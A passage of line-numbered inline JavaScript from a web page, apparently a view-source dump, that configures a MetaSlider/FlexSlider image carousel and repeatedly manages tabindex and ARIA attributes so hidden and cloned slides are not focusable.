li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2303 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2304 } 2305 } 2306 2307 updateSliderTabindex(); 2308 2309 if (typeof MutationObserver !== 'undefined') { 2310 var observer = new MutationObserver(function(mutations) { 2311 var shouldUpdate = false;
2312 mutations.forEach(function(mutation) { 2313 if (mutation.type === 'attributes' && 2314 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 2315 shouldUpdate = true; 2316 } 2317 if (mutation.type === 'childList') { 2318 shouldUpdate = true; 2319 } 2320 }); 2321 if (shouldUpdate) { 2322 updateSliderTabindex(); 2323 } 2324 }); 2325 2326 var targetNode = $('#metaslider_4316')[0]; 2327 if (targetNode) { 2328 observer.observe(targetNode, { 2329 attributes: true, 2330 attributeFilter: ['aria-hidden', 'style', 'class'], 2331 childList: true, 2332 subtree: true 2333 }); 2334 2335 var parent = targetNode.parentNode; 2336 while (parent && parent !== document.body) { 2337 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 2338 parent = parent.parentNode; 2339 } 2340 } 2341 } 2342 }, 0); 2343 2344 2345 // Function to disable focusable elements in aria-hidden slides 2346 function disableAriaHiddenFocusableElements() { 2347 var slider_ = $('#metaslider_4316'); 2348 2349 // Disable focusable elements in slides with aria-hidden='true' 2350 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2351 2352 // Disable focusable elements in cloned slides (these should never be focusable) 2353 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2354 } 2355 2356 // Initial setup 2357 disableAriaHiddenFocusableElements(); 2358 2359 // Observer for aria-hidden and clone changes 2360 if (typeof MutationObserver !== 'undefined') { 2361 var ariaObserver = new MutationObserver(function(mutations) { 2362 var shouldUpdate = false; 2363 mutations.forEach(function(mutation) { 2364 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 2365 shouldUpdate = true; 2366 } 2367 if (mutation.type === 'childList') { 2368 // Check if cloned slides were added/removed 2369 for (var i = 0; i < mutation.addedNodes.length; i++) { 2370 if (mutation.addedNodes[i].nodeType === 1 && 2371 (mutation.addedNodes[i].classList.contains('clone') || 2372 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 2373 shouldUpdate = true; 2374 break; 2375 } 2376 } 2377 } 2378 }); 2379 if (shouldUpdate) { 2380 setTimeout(disableAriaHiddenFocusableElements, 10); 2381 } 2382 }); 2383 2384 var targetNode = $('#metaslider_4316')[0]; 2385 if (targetNode) { 2386 ariaObserver.observe(targetNode, { 2387 attributes: true, 2388 attributeFilter: ['aria-hidden'], 2389 childList: true, 2390 subtree: true 2391 }); 2392 } 2393 } 2394 2395 2396 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2397 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2398 2399 document.addEventListener('click', function (event) { 2400 if (event.target.closest('[role=\'tab\']')) { 2401 $('#metaslider_4316').resize(); 2402 } 2403 }); 2404 2405 // Wait for DOM to be ready and FlexSlider to render controls 2406 setTimeout(function() { 2407 var nav = $('#metaslider_4316 .flex-control-nav'); 2408 if (nav.length) { 2409 nav.attr('role', 'tablist'); 2410 } 2411 2412 function updateSliderTabindex() { 2413 var slider_ = $('#metaslider_4316'); 2414 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2415 slider_.is('[aria-hidden="true"]') || 2416 !slider_.is(':visible'); 2417 2418 if (isSliderHidden) { 2419 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 2420 } else { 2421 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2422 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2423 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2424 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2425 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2426 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2427 } 2428 } 2429 2430 updateSliderTabindex(); 2431 2432 if (typeof MutationObserver !== 'undefined') { 2433 var observer = new MutationObserver(function(mutations) { 2434 var shouldUpdate = false;
2435 mutations.forEach(function(mutation) { 2436 if (mutation.type === 'attributes' && 2437 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 2438 shouldUpdate = true; 2439 } 2440 if (mutation.type === 'childList') { 2441 shouldUpdate = true; 2442 } 2443 }); 2444 if (shouldUpdate) { 2445 updateSliderTabindex(); 2446 } 2447 }); 2448 2449 var targetNode = $('#metaslider_4316')[0]; 2450 if (targetNode) { 2451 observer.observe(targetNode, { 2452 attributes: true, 2453 attributeFilter: ['aria-hidden', 'style', 'class'], 2454 childList: true, 2455 subtree: true 2456 }); 2457 2458 var parent = targetNode.parentNode; 2459 while (parent && parent !== document.body) { 2460 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 2461 parent = parent.parentNode; 2462 } 2463 } 2464 } 2465 }, 0); 2466 2467 2468 // Function to disable focusable elements in aria-hidden slides 2469 function disableAriaHiddenFocusableElements() { 2470 var slider_ = $('#metaslider_4316'); 2471 2472 // Disable focusable elements in slides with aria-hidden='true' 2473 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2474 2475 // Disable focusable elements in cloned slides (these should never be focusable) 2476 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2477 } 2478 2479 // Initial setup 2480 disableAriaHiddenFocusableElements(); 2481 2482 // Observer for aria-hidden and clone changes 2483 if (typeof MutationObserver !== 'undefined') { 2484 var ariaObserver = new MutationObserver(function(mutations) { 2485 var shouldUpdate = false; 2486 mutations.forEach(function(mutation) { 2487 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 2488 shouldUpdate = true; 2489 } 2490 if (mutation.type === 'childList') { 2491 // Check if cloned slides were added/removed 2492 for (var i = 0; i < mutation.addedNodes.length; i++) { 2493 if (mutation.addedNodes[i].nodeType === 1 && 2494 (mutation.addedNodes[i].classList.contains('clone') || 2495 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 2496 shouldUpdate = true; 2497 break; 2498 } 2499 } 2500 } 2501 }); 2502 if (shouldUpdate) { 2503 setTimeout(disableAriaHiddenFocusableElements, 10); 2504 } 2505 }); 2506 2507 var targetNode = $('#metaslider_4316')[0]; 2508 if (targetNode) { 2509 ariaObserver.observe(targetNode, { 2510 attributes: true, 2511 attributeFilter: ['aria-hidden'], 2512 childList: true, 2513 subtree: true 2514 }); 2515 } 2516 } 2517 2518 2519 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2520 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2521 2522 document.addEventListener('click', function (event) { 2523 if (event.target.closest('[role=\'tab\']')) { 2524 $('#metaslider_4316').resize(); 2525 } 2526 }); 2527 }, 2528 after: function(slider) { 2529 2530 // Update tabindex after slide change, respecting aria-hidden state 2531 var slider_ = $('#metaslider_4316'); 2532 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2533 slider_.is('[aria-hidden="true"]') || 2534 !slider_.is(':visible'); 2535 2536 if (!isSliderHidden) { 2537 // Disable focusable elements in slides with aria-hidden='true' 2538 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2539 2540 // Disable focusable elements in cloned slides 2541 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2542 2543 // Normal focus management for navigation 2544 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2545 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2546 2547 // Only allow focus on active slide that's not aria-hidden or cloned 2548 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2549 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2550 } 2551 2552 2553 // Re-disable focusable elements after slide transitions 2554 var slider_ = $('#metaslider_4316'); 2555 2556 // Disable focusable elements in slides with aria-hidden='true' 2557 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
2557([tabindex="-1"])').attr('tabindex', '-1'); 2558 2559 // Disable focusable elements in cloned slides 2560 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2561 2562 2563 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2564 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2565 2566 2567 // Update tabindex after slide change, respecting aria-hidden state 2568 var slider_ = $('#metaslider_4316'); 2569 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2570 slider_.is('[aria-hidden="true"]') || 2571 !slider_.is(':visible'); 2572 2573 if (!isSliderHidden) { 2574 // Disable focusable elements in slides with aria-hidden='true' 2575 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2576 2577 // Disable focusable elements in cloned slides 2578 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2579 2580 // Normal focus management for navigation 2581 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2582 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2583 2584 // Only allow focus on active slide that's not aria-hidden or cloned 2585 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2586 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2587 } 2588 2589 2590 // Re-disable focusable elements after slide transitions 2591 var slider_ = $('#metaslider_4316'); 2592 2593 // Disable focusable elements in slides with aria-hidden='true' 2594 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2595 2596 // Disable focusable elements in cloned slides 2597 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2598 2599 2600 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2601 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2602 2603 2604 // Update tabindex after slide change, respecting aria-hidden state 2605 var slider_ = $('#metaslider_4316'); 2606 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2607 slider_.is('[aria-hidden="true"]') || 2608 !slider_.is(':visible'); 2609 2610 if (!isSliderHidden) { 2611 // Disable focusable elements in slides with aria-hidden='true' 2612 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2613 2614 // Disable focusable elements in cloned slides 2615 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2616 2617 // Normal focus management for navigation 2618 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2619 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2620 2621 // Only allow focus on active slide that's not aria-hidden or cloned 2622 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2623 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2624 } 2625 2626 2627 // Re-disable focusable elements after slide transitions 2628 var slider_ = $('#metaslider_4316'); 2629 2630 // Disable focusable elements in slides with aria-hidden='true' 2631 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
2631([tabindex="-1"])').attr('tabindex', '-1'); 2632 2633 // Disable focusable elements in cloned slides 2634 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2635 2636 2637 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2638 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2639 2640 } 2641 }); 2642 $(document).trigger('metaslider/initialized', '#metaslider_4316'); 2643 }; 2644 var timer_metaslider_4316 = function() { 2645 var slider = !window.jQuery ? window.setTimeout(timer_metaslider_4316, 100) : !jQuery.isReady ? window.setTimeout(timer_metaslider_4316, 1) : metaslider_4316(window.jQuery); 2646 }; 2647 timer_metaslider_4316(); 2648var metaslider_4316 = function($) {$('#metaslider_4316').addClass('flexslider'); 2649 $('#metaslider_4316').flexslider({ 2650 slideshowSpeed:3000, 2651 animation:"slide", 2652 controlNav:true, 2653 directionNav:true, 2654 pauseOnHover:false, 2655 direction:"horizontal", 2656 reverse:false, 2657 keyboard:true, 2658 touch:true, 2659 animationSpeed:600, 2660 prevText:"Previous", 2661 nextText:"Next", 2662 smoothHeight:false, 2663 fadeFirstSlide:false, 2664 easing:"linear", 2665 slideshow:true, 2666 pausePlay:false, 2667 showPlayText:false, 2668 playText:false, 2669 pauseText:false, 2670 start: function(slider) { 2671 slider.find('.flex-prev').attr('aria-label', 'Previous'); 2672 slider.find('.flex-next').attr('aria-label', 'Next'); 2673 slider.find('.flex-prev').attr('aria-label', 'Previous'); 2674 slider.find('.flex-next').attr('aria-label', 'Next'); 2675 slider.find('.flex-prev').attr('aria-label', 'Previous'); 2676 slider.find('.flex-next').attr('aria-label', 'Next'); 2677 slider.find('.flex-prev').attr('aria-label', 'Previous'); 2678 slider.find('.flex-next').attr('aria-label', 'Next'); 2679 2680 // Wait for DOM to be ready and FlexSlider to render controls 2681 setTimeout(function() { 2682 var nav = $('#metaslider_4316 .flex-control-nav'); 2683 if (nav.length) { 2684 nav.attr('role', 'tablist'); 2685 } 2686 2687 function updateSliderTabindex() { 2688 var slider_ = $('#metaslider_4316'); 2689 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2690 slider_.is('[aria-hidden="true"]') || 2691 !slider_.is(':visible'); 2692 2693 if (isSliderHidden) { 2694 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 2695 } else { 2696 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2697 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2698 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2699 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2700 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2701 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2702 } 2703 } 2704 2705 updateSliderTabindex(); 2706 2707 if (typeof MutationObserver !== 'undefined') { 2708 var observer = new MutationObserver(function(mutations) { 2709 var shouldUpdate = false;
2710 mutations.forEach(function(mutation) { 2711 if (mutation.type === 'attributes' && 2712 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 2713 shouldUpdate = true; 2714 } 2715 if (mutation.type === 'childList') { 2716 shouldUpdate = true; 2717 } 2718 }); 2719 if (shouldUpdate) { 2720 updateSliderTabindex(); 2721 } 2722 }); 2723 2724 var targetNode = $('#metaslider_4316')[0]; 2725 if (targetNode) { 2726 observer.observe(targetNode, { 2727 attributes: true, 2728 attributeFilter: ['aria-hidden', 'style', 'class'], 2729 childList: true, 2730 subtree: true 2731 }); 2732 2733 var parent = targetNode.parentNode; 2734 while (parent && parent !== document.body) { 2735 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 2736 parent = parent.parentNode; 2737 } 2738 } 2739 } 2740 }, 0); 2741 2742 2743 // Function to disable focusable elements in aria-hidden slides 2744 function disableAriaHiddenFocusableElements() { 2745 var slider_ = $('#metaslider_4316'); 2746 2747 // Disable focusable elements in slides with aria-hidden='true' 2748 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2749 2750 // Disable focusable elements in cloned slides (these should never be focusable) 2751 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2752 } 2753 2754 // Initial setup 2755 disableAriaHiddenFocusableElements(); 2756 2757 // Observer for aria-hidden and clone changes 2758 if (typeof MutationObserver !== 'undefined') { 2759 var ariaObserver = new MutationObserver(function(mutations) { 2760 var shouldUpdate = false; 2761 mutations.forEach(function(mutation) { 2762 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 2763 shouldUpdate = true; 2764 } 2765 if (mutation.type === 'childList') { 2766 // Check if cloned slides were added/removed 2767 for (var i = 0; i < mutation.addedNodes.length; i++) { 2768 if (mutation.addedNodes[i].nodeType === 1 && 2769 (mutation.addedNodes[i].classList.contains('clone') || 2770 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 2771 shouldUpdate = true; 2772 break; 2773 } 2774 } 2775 } 2776 }); 2777 if (shouldUpdate) { 2778 setTimeout(disableAriaHiddenFocusableElements, 10); 2779 } 2780 }); 2781 2782 var targetNode = $('#metaslider_4316')[0]; 2783 if (targetNode) { 2784 ariaObserver.observe(targetNode, { 2785 attributes: true, 2786 attributeFilter: ['aria-hidden'], 2787 childList: true, 2788 subtree: true 2789 }); 2790 } 2791 } 2792 2793 2794 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2795 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2796 2797 document.addEventListener('click', function (event) { 2798 if (event.target.closest('[role=\'tab\']')) { 2799 $('#metaslider_4316').resize(); 2800 } 2801 }); 2802 2803 // Wait for DOM to be ready and FlexSlider to render controls 2804 setTimeout(function() { 2805 var nav = $('#metaslider_4316 .flex-control-nav'); 2806 if (nav.length) { 2807 nav.attr('role', 'tablist'); 2808 } 2809 2810 function updateSliderTabindex() { 2811 var slider_ = $('#metaslider_4316'); 2812 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2813 slider_.is('[aria-hidden="true"]') || 2814 !slider_.is(':visible'); 2815 2816 if (isSliderHidden) { 2817 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 2818 } else { 2819 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2820 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2821 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2822 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2823 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2824 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2825 } 2826 } 2827 2828 updateSliderTabindex(); 2829 2830 if (typeof MutationObserver !== 'undefined') { 2831 var observer = new MutationObserver(function(mutations) { 2832 var shouldUpdate = false;
2833 mutations.forEach(function(mutation) { 2834 if (mutation.type === 'attributes' && 2835 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 2836 shouldUpdate = true; 2837 } 2838 if (mutation.type === 'childList') { 2839 shouldUpdate = true; 2840 } 2841 }); 2842 if (shouldUpdate) { 2843 updateSliderTabindex(); 2844 } 2845 }); 2846 2847 var targetNode = $('#metaslider_4316')[0]; 2848 if (targetNode) { 2849 observer.observe(targetNode, { 2850 attributes: true, 2851 attributeFilter: ['aria-hidden', 'style', 'class'], 2852 childList: true, 2853 subtree: true 2854 }); 2855 2856 var parent = targetNode.parentNode; 2857 while (parent && parent !== document.body) { 2858 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 2859 parent = parent.parentNode; 2860 } 2861 } 2862 } 2863 }, 0); 2864 2865 2866 // Function to disable focusable elements in aria-hidden slides 2867 function disableAriaHiddenFocusableElements() { 2868 var slider_ = $('#metaslider_4316'); 2869 2870 // Disable focusable elements in slides with aria-hidden='true' 2871 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2872 2873 // Disable focusable elements in cloned slides (these should never be focusable) 2874 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2875 } 2876 2877 // Initial setup 2878 disableAriaHiddenFocusableElements(); 2879 2880 // Observer for aria-hidden and clone changes 2881 if (typeof MutationObserver !== 'undefined') { 2882 var ariaObserver = new MutationObserver(function(mutations) { 2883 var shouldUpdate = false; 2884 mutations.forEach(function(mutation) { 2885 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 2886 shouldUpdate = true; 2887 } 2888 if (mutation.type === 'childList') { 2889 // Check if cloned slides were added/removed 2890 for (var i = 0; i < mutation.addedNodes.length; i++) { 2891 if (mutation.addedNodes[i].nodeType === 1 && 2892 (mutation.addedNodes[i].classList.contains('clone') || 2893 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 2894 shouldUpdate = true; 2895 break; 2896 } 2897 } 2898 } 2899 }); 2900 if (shouldUpdate) { 2901 setTimeout(disableAriaHiddenFocusableElements, 10); 2902 } 2903 }); 2904 2905 var targetNode = $('#metaslider_4316')[0]; 2906 if (targetNode) { 2907 ariaObserver.observe(targetNode, { 2908 attributes: true, 2909 attributeFilter: ['aria-hidden'], 2910 childList: true, 2911 subtree: true 2912 }); 2913 } 2914 } 2915 2916 2917 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2918 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2919 2920 document.addEventListener('click', function (event) { 2921 if (event.target.closest('[role=\'tab\']')) { 2922 $('#metaslider_4316').resize(); 2923 } 2924 }); 2925 2926 // Wait for DOM to be ready and FlexSlider to render controls 2927 setTimeout(function() { 2928 var nav = $('#metaslider_4316 .flex-control-nav'); 2929 if (nav.length) { 2930 nav.attr('role', 'tablist'); 2931 } 2932 2933 function updateSliderTabindex() { 2934 var slider_ = $('#metaslider_4316'); 2935 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2936 slider_.is('[aria-hidden="true"]') || 2937 !slider_.is(':visible'); 2938 2939 if (isSliderHidden) { 2940 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 2941 } else { 2942 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2943 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2944 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2945 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2946 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2947 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2948 } 2949 } 2950 2951 updateSliderTabindex(); 2952 2953 if (typeof MutationObserver !== 'undefined') { 2954 var observer = new MutationObserver(function(mutations) { 2955 var shouldUpdate = false;
2956 mutations.forEach(function(mutation) { 2957 if (mutation.type === 'attributes' && 2958 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 2959 shouldUpdate = true; 2960 } 2961 if (mutation.type === 'childList') { 2962 shouldUpdate = true; 2963 } 2964 }); 2965 if (shouldUpdate) { 2966 updateSliderTabindex(); 2967 } 2968 }); 2969 2970 var targetNode = $('#metaslider_4316')[0]; 2971 if (targetNode) { 2972 observer.observe(targetNode, { 2973 attributes: true, 2974 attributeFilter: ['aria-hidden', 'style', 'class'], 2975 childList: true, 2976 subtree: true 2977 }); 2978 2979 var parent = targetNode.parentNode; 2980 while (parent && parent !== document.body) { 2981 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 2982 parent = parent.parentNode; 2983 } 2984 } 2985 } 2986 }, 0); 2987 2988 2989 // Function to disable focusable elements in aria-hidden slides 2990 function disableAriaHiddenFocusableElements() { 2991 var slider_ = $('#metaslider_4316'); 2992 2993 // Disable focusable elements in slides with aria-hidden='true' 2994 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2995 2996 // Disable focusable elements in cloned slides (these should never be focusable) 2997 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2998 } 2999 3000 // Initial setup 3001 disableAriaHiddenFocusableElements(); 3002 3003 // Observer for aria-hidden and clone changes 3004 if (typeof MutationObserver !== 'undefined') { 3005 var ariaObserver = new MutationObserver(function(mutations) { 3006 var shouldUpdate = false; 3007 mutations.forEach(function(mutation) { 3008 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 3009 shouldUpdate = true; 3010 } 3011 if (mutation.type === 'childList') { 3012 // Check if cloned slides were added/removed 3013 for (var i = 0; i < mutation.addedNodes.length; i++) { 3014 if (mutation.addedNodes[i].nodeType === 1 && 3015 (mutation.addedNodes[i].classList.contains('clone') || 3016 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 3017 shouldUpdate = true; 3018 break; 3019 } 3020 } 3021 } 3022 }); 3023 if (shouldUpdate) { 3024 setTimeout(disableAriaHiddenFocusableElements, 10); 3025 } 3026 }); 3027 3028 var targetNode = $('#metaslider_4316')[0]; 3029 if (targetNode) { 3030 ariaObserver.observe(targetNode, { 3031 attributes: true, 3032 attributeFilter: ['aria-hidden'], 3033 childList: true, 3034 subtree: true 3035 }); 3036 } 3037 } 3038 3039 3040 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 3041 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 3042 3043 document.addEventListener('click', function (event) { 3044 if (event.target.closest('[role=\'tab\']')) { 3045 $('#metaslider_4316').resize(); 3046 } 3047 }); 3048 3049 // Wait for DOM to be ready and FlexSlider to render controls 3050 setTimeout(function() { 3051 var nav = $('#metaslider_4316 .flex-control-nav'); 3052 if (nav.length) { 3053 nav.attr('role', 'tablist'); 3054 } 3055 3056 function updateSliderTabindex() { 3057 var slider_ = $('#metaslider_4316'); 3058 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 3059 slider_.is('[aria-hidden="true"]') || 3060 !slider_.is(':visible'); 3061 3062 if (isSliderHidden) { 3063 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 3064 } else { 3065 slider_.find('.slides li[aria-hidden="true"] a, .slides 